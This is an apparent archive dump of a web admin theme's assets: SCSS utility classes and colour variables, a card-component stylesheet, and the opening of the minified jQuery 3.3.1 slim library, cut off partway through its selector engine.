svg:not(:root) { overflow: hidden; } figure { margin: 1em 40px; } hr { box-sizing: content-box; height: 0; } pre { overflow: auto; } code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } button, input, optgroup, select, textarea { color: inherit; /* 1 */ font: inherit; /* 2 */ margin: 0; /* 3 */ } button { overflow: visible; } button, select { text-transform: none; } button, html input[type="button"], /* 1 */ input[type="reset"], input[type="submit"] { -webkit-appearance: button; /* 2 */ cursor: pointer; /* 3 */ } button[disabled], html input[disabled] { cursor: default; } button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; } input { line-height: normal; } input[type="checkbox"], input[type="radio"] { box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } input[type="search"] { -webkit-appearance: textfield; /* 1 */ box-sizing: content-box; /* 2 */ } input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } fieldset { border: 1px solid #c0c0c0; margin: 0 2px; padding: 0.35em 0.625em 0.75em; } legend { border: 0; /* 1 */ padding: 0; /* 2 */ } textarea { overflow: auto; } optgroup { font-weight: bold; } table { border-collapse: collapse; border-spacing: 0; } td, th { padding: 0; } *, body { -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; } ::-moz-selection { background: #b3d4fc; text-shadow: none; } ::selection { background: #b3d4fc; text-shadow: none; } hr { display: block; height: 1px; border: 0; border-top: 1px solid #ccc; margin: 1em 0; padding: 0; } audio, canvas, iframe, img, svg, video { vertical-align: middle; } fieldset { border: 0; margin: 0; padding: 0; } textarea { resize: vertical; } .browserupgrade { margin: 0.2em 0; background: #ccc; color: #000; padding: 0.2em 0; } * { outline: none !important; } a { color: #212121; @include transition(color .2s); &:hover, &:focus, &:active { outline: 0; text-decoration: none; color: #212121; } } $empty: transparent; $default: #d6d6d6; $primary: #007bff; $success: #2dce89; $info: #11cdef; $warning: #fb6340; $danger: #f5365c; $muted: #6c757d; $inverse: #4c5667; $purple: #BF55EC; $pink: #f76397; $white: #ffffff; $dark: #212121; $grey: #9aa0ac; $aqua: #3ec5d6; $blue: #19B5FE; $light-blue: #89CFF0; $teal: #008081; $yellow: #F7CA18; $orange: #FF8000; $green: #26C281; $lime: #cad900; $red: #F22613; $fuchsia: #df2de3; $navy: #000080; $theme: #ef4153; $facebook: #3b579d; $twitter: #1da1f2; $dribbble: #ea4c89; $linkedin: #0177b4; $google: #dc4a38; $instagram: #fb3958; $behance: #053eff; $element-color: 'primary' $primary, 'warning' $warning, 'danger' $danger, 'success' $success, 'inverse' $inverse, 'info' $info; $i: 0; @while $i<=50 { .p { &#{$i} { padding: #{$i}px !important; } &t-#{$i} { padding-top: #{$i}px !important; } &b-#{$i} { padding-bottom: #{$i}px !important; } &l-#{$i} { padding-left: #{$i}px !important; } &r-#{$i} { padding-right: #{$i}px !important; } } .m { &#{$i} { margin: #{$i}px !important; } &t-#{$i} { margin-top: #{$i}px !important; } &b-#{$i} { margin-bottom: #{$i}px !important; } &l-#{$i} { margin-left: #{$i}px !important; } &r-#{$i} { margin-right: #{$i}px !important; } } $i: $i+5; } $i: 10; @while $i<=80 { .f-#{$i} { font-size: #{$i}px; } $i: $i+2; } $i: 100; @while $i<=900 { .fw-#{$i} { font-weight: #{$i}; } $i: $i+100; } $i: 20; @while $i<=100 { .img-#{$i} { width: #{$i}px; } $i: $i+10; } @each $value in $element-color { .b-t-#{nth($value, 1)} { border-top: 1px solid #{nth($value, 2)}; } .b-b-#{nth($value, 1)} { border-bottom: 1px solid #{nth($value, 2)}; } .b-l-#{nth($value, 1)} { border-left: 1px solid #{nth($value, 2)}; } .b-r-#{nth($value, 1)} { border-right: 1px solid #{nth($value, 2)}; } .b-#{nth($value, 1)} { border: 1px solid #{nth($value, 2)}; } } .bg-default { background-color: $default !important; } .bg-theme { background-color: $theme !important; } .bg-aqua { background-color: $aqua !important; } .bg-blue { background-color: $blue !important; } .bg-light-blue { background-color: $light-blue !important; } .bg-teal { background-color: $teal !important; } .bg-yellow { background-color: $yellow !important; } .bg-orange { background-color: $orange !important; } .bg-green { background-color: $green !important; } .bg-lime { background-color: $lime !important; } .bg-red { background-color: $red !important; } .bg-fuchsia { background-color: $fuchsia !important; } .bg-navy { background-color: $navy !important; } .bg-empty { background: $empty !important; } .bg-primary { background-color: $primary !important; } .bg-success { background-color: $success !important; } .bg-info { background-color: $info !important; } .bg-warning { background-color: $warning !important; } .bg-danger { background-color: $danger !important; } .bg-muted { background-color: $muted !important; } .bg-inverse { background-color: $inverse !important; } .bg-purple { background-color: $purple !important; } .bg-pink { background-color: $pink !important; } .bg-white { background-color: $white !important; } .bg-facebook { background-color: $facebook !important; } .bg-twitter { background-color: $twitter !important; } .bg-google { background-color: $google !important; } .bg-linkedin { background-color: $linkedin !important; } .text-default { color: $default !important; } .text-blue { color: $blue !important; } .text-light-blue { color: $light-blue !important; } .text-teal { color: $teal !important; } .text-navy { color: $navy !important; } .text-lime { color: $lime !important; } .text-orange { color: $orange !important; } .text-yellow { color: $yellow !important; } .text-aqua { color: $aqua !important; } .text-white { color: $white !important; } .text-danger { color: $danger !important; } .text-green { color: $green !important; } .text-primary { color: $primary !important; } .text-warning { color: $warning !important; } .text-success { color: $success !important; } .text-info { color: $info !important; } .text-inverse { color: $inverse !important; } .text-pink { color: $pink !important; } .text-purple { color: $purple !important; } .text-dark { color: $dark !important; } .text-fuchsia { color: $fuchsia !important; } .text-red { color: $red !important; } .text-facebook { color: $facebook !important; } .text-twitter { color: $twitter !important; } .text-instagram { color: $instagram !important; } .text-google { color: $google !important; } .text-linkedin { color: $linkedin !important; } .text-behance { color: $behance !important; } .text-dribbble { color: $dribbble !important; } .text-red { color: $red !important; } .min-width-zero { min-width: 0; } .w-10 { width: 10%!important } .w-90 { width: 90%!important } .w-12 { width: 12%!important } .w-88 { width: 88%!important } .w-15 { width: 15%!important } .w-85 { width: 85%!important } .w-20 { width: 20%!important } .w-80 { width: 80%!important } .w-30 { width: 30%!important } .w-70 { width: 70%!important } .w-40 { width: 40%!important } .w-60 { width: 60%!important } .hidden { display: none !important; } .d-inline-block { display: inline-block !important; } .d-block { display: block !important; } .visuallyhidden { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .visuallyhidden.focusable:active, .visuallyhidden.focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto; } .invisible { visibility: hidden; } .clearfix:before, .clearfix:after { content: " "; display: table; } .clearfix:after { clear: both; } @include mq('tablet-wide', 'max') { .w-sm-100 { width: 100%!important; } } @include mq('tablet', 'max') { .w-xs-100 { width: 100%!important; } }scss/_cards.scss000064400000007117151676723140007671 0ustar00.card { border-color: #ffff; position: relative; width: 100%; border: none; margin-bottom: 30px; @include box-shadow(0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06)); @include transition(all 0.5s ease-in-out); @include border-radius(4px); .card-header { padding: 20px 20px; border: 0; background: none; @include flexbox(); @include align-items(center); &:first-child { border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0; } h3 { margin: 0; font-size: 18px; font-weight: normal; color: #212121; } .card-options { a:not(.dropdown-item) { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 33px; color: #212121; display: inline-block; @include transition(all 0.5s ease-in-out); } span { color: #444; font-size: 12px; } } .card-search { position: relative; .form-control { padding-right: 60px; font-size: 14px; max-height: 30px; min-height: 30px; &~ .btn { position: absolute; right: 0; top: 0; padding: 0; width: 30px; height: 30px; line-height: 30px; border-radius: 4px; background-color: #eceff1; border: none; @include box-shadow(none); } } &.with-adv-search { .adv-btn { background-color: transparent; border: 0; position: absolute; right: 30px; top: 0; width: 30px; height: 30px; line-height: 30px; padding: 0; @include box-shadow(none); } .adv-search-wrap { padding: 20px; display: none; position: absolute; left: 30px !important; width: 100%; top: 30px; background-color: $white; z-index: 4; @include box-shadow(0 2px 30px rgba(0,0,0,.08)); @include border-radius(6px); .form-control { padding-right: 15px; } .btn { padding: 0 15px; font-size: 14px; height: 30px; @include border-radius(30px); } &.show { display: block; } } } } &.note-toolbar { padding: 0 0 5px 5px; } .dropdown { .checkbox-dropdown { padding: 0px; width: 16px; height: 16px; background-color: #dee2e6; border-radius: .25rem; margin-right: 15px; } } } .card-body { padding: 20px 20px; flex: 1 1 auto; position: relative; } .card-img { height: 100%; object-fit: cover; max-height: 200px; width: unset; @include border-radius(4px); } .card-img-overlay { background: rgba(0,0,0,.5); padding: 1.75rem; border-radius: 4px; } &.icon-card { .card-body { i { font-size: 46px; line-height: 66px; color: $dark; } .card-text { color: #8f8f8f; height: 30px; line-height: 26px; } .lead { color: $dark; margin-bottom: 0; } } } .nav-pills { &.custom-pills { border-bottom: 1px solid #f1f1f1; .nav-link { border-radius: 0; opacity: .7; font-size: 14px; padding: 12px 15px; &.active { color: #ef4153; opacity: 1; background-color: transparent; border-bottom: 2px solid #ef4153; } } } } }js/vendor/jquery-3.3.1.slim.min.js000064400000210437151676723140012542 0ustar00/*! jQuery v3.3.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,u=n.push,s=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,d=f.toString,p=d.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},v=function e(t){return null!=t&&t===t.window},y={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in y)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function b(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var x="3.3.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector",w=function(e,t){return new w.fn.init(e,t)},C=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:x,constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},u=1,s=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[u]||{},u++),"object"==typeof a||g(a)||(a={}),u===s&&(a=this,u--);u<s;u++)if(null!=(e=arguments[u]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+(x+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&d.call(n)===p)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(T(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(T(Object(e))?w.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:s.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,u=!n;o<a;o++)(r=!t(e[o],o))!==u&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,u=[];if(T(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&u.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&u.push(i);return a.apply([],u)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function T(e){var t=!!e&&"length"in e&&e.length,n=b(e);return!g(e)&&!v(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,u,s,l,c,f,d,p,h,g,v,y,m,b,x="sizzle"+1*new Date,w=e.document,C=0,T=0,E=ae(),N=ae(),k=ae(),A=function(e,t){return e===t&&(f=!0),0},D={}.hasOwnProperty,S=[],L=S.pop,j=S.push,q=S.push,O=S.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},H="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",I="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",B="\\["+I+"*("+R+")(?:"+I+"*([*^$|!~]?=)"+I+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+I+"*\\]",M=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+B+")*)|.*)\\)|)",W=new RegExp(I+"+","g"),$=new RegExp("^"+I+"+|((?:^|[^\\\\])(?:\\\\.)*)"+I+"+$","g"),F=new RegExp("^"+I+"*,"+I+"*"),z=new RegExp("^"+I+"*([>+~]|"+I+")"+I+"*"),_=new RegExp("="+I+"*([^\\]'\"]*?)"+I+"*\\]","g"),U=new RegExp(M),V=new RegExp("^"+R+"$"),X={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+B),PSEUDO:new RegExp("^"+M),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+I+"*(even|odd|(([+-]|)(\\d*)n|)"+I+"*(?:([+-]|)"+I+"*(\\d+)|))"+I+"*\\)|)","i"),bool:new RegExp("^(?:"+H+")$","i"),needsContext:new RegExp("^"+I+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+I+"*((?:-\\d)?\\d*)"+I+"*\\)|)(?=[^-]|$)","i")},Q=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,G=/^[^{]+\{\s*\[native \w/,K=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,J=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+I+"?|("+I+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){d()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{q.apply(S=O.call(w.childNodes),w.childNodes),S[w.childNodes.length].nodeType}catch(e){q={apply:S.length?function(e,t){j.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,u,l,c,f,h,y,m=t&&t.ownerDocument,C=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==C&&9!==C&&11!==C)return r;if(!i&&((t?t.ownerDocument||t:w)!==p&&d(t),t=t||p,g)){if(11!==C&&(f=K.exec(e)))if(o=f[1]){if(9===C){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&b(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return q.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return q.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!k[e+" "]&&(!v||!v.test(e))){if(1!==C)m=t,y=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=x),u=(h=a(e)).length;while(u--)h[u]="#"+c+" "+ye(h[u]);y=h.join(","),m=J.test(e)&&ge(t.parentNode)||t}if(y)try{return q.apply(r,m.querySelectorAll(y)),r}catch(e){}finally{c===x&&t.removeAttribute("id")}}}return s(e.replace($,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function ue(e){return e[x]=!0,e}function se(e){var t=p.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function de(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function pe(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return ue(function(t){return t=+t,ue(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},d=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==p&&9===a.nodeType&&a.documentElement?(p=a,h=p.documentElement,g=!o(p),w!==p&&(i=p.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=se(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=se(function(e){return e.appendChild(p.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=G.test(p.getElementsByClassName),n.getById=se(function(e){return h.appendChild(e).id=x,!p.getElementsByName||!p.getElementsByName(x).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},y=[],v=[],(n.qsa=G.test(p.querySelectorAll))&&(se(function(e){h.appendChild(e).innerHTML="<a id='"+x+"'></a><select id='"+x+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+I+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+I+"*(?:value|"+H+")"),e.querySelectorAll("[id~="+x+"-]").length||v.push("~="),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+x+"+*").length||v.push(".#.+[+~]")}),se(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=p.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+I+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(n.matchesSelector=G.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&se(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),y.push("!=",M)}),v=v.length&&new RegExp(v.join("|")),y=y.length&&new RegExp(y.join("|")),t=G.test(h.compareDocumentPosition),b=t||G.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},A=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===p||e.ownerDocument===w&&b(w,e)?-1:t===p||t.ownerDocument===w&&b(w,t)?1:c?P(c,e)-P(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],u=[t];if(!i||!o)return e===p?-1:t===p?1:i?-1:o?1:c?P(c,e)-P(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)u.unshift(n);while(a[r]===u[r])r++;return r?ce(a[r],u[r]):a[r]===w?-1:u[r]===w?1:0},p):p},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&d(e),t=t.replace(_,"='$1']"),n.matchesSelector&&g&&!k[t+" "]&&(!y||!y.test(t))&&(!v||!v.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,p,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==p&&d(e),b(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==p&&d(e);var i=r.attrHandle[t.toLowerCase()],o=i&&D.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(A),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:ue,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return X.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&U.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+I+")"+e+"("+I+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace(W," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),u="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,s){var l,c,f,d,p,h,g=o!==a?"nextSibling":"previousSibling",v=t.parentNode,y=u&&t.nodeName.toLowerCase(),m=!s&&!u,b=!1;if(v){if(o){while(g){d=t;while(d=d[g])if(u?d.nodeName.toLowerCase()===y:1===d.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?v.firstChild:v.lastChild],a&&m){b=(p=(l=(c=(f=(d=v)[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]||[])[0]===C&&l[1])&&l[2],d=p&&v.childNodes[p];while(d=++p&&d&&d[g]||(b=p=0)||h.pop())if(1===d.nodeType&&++b&&d===t){c[e]=[C,p,b];break}}else if(m&&(b=p=(l=(c=(f=(d=t)[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]||[])[0]===C&&l[1]),!1===b)while(d=++p&&d&&d[g]||(b=p=0)||h.pop())if((u?d.nodeName.toLowerCase()===y:1===d.nodeType)&&++b&&(m&&((c=(f=d[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]=[C,b]),d===t))break;return(b-=i)===r||b%r==0&&b/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[x]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?ue(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=P(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:ue(function(e){var t=[],n=[],r=u(e.replace($,"$1"));return r[x]?ue(function(e,t,n,i){var o,a=r(e,null,i,[]),u=e.length;while(u--)(o=a[u])&&(e[u]=!(t[u]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:ue(function(e){return function(t){return oe(e,t).length>0}}),contains:ue(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:ue(function(e){return V.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:pe(!1),disabled:pe(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return 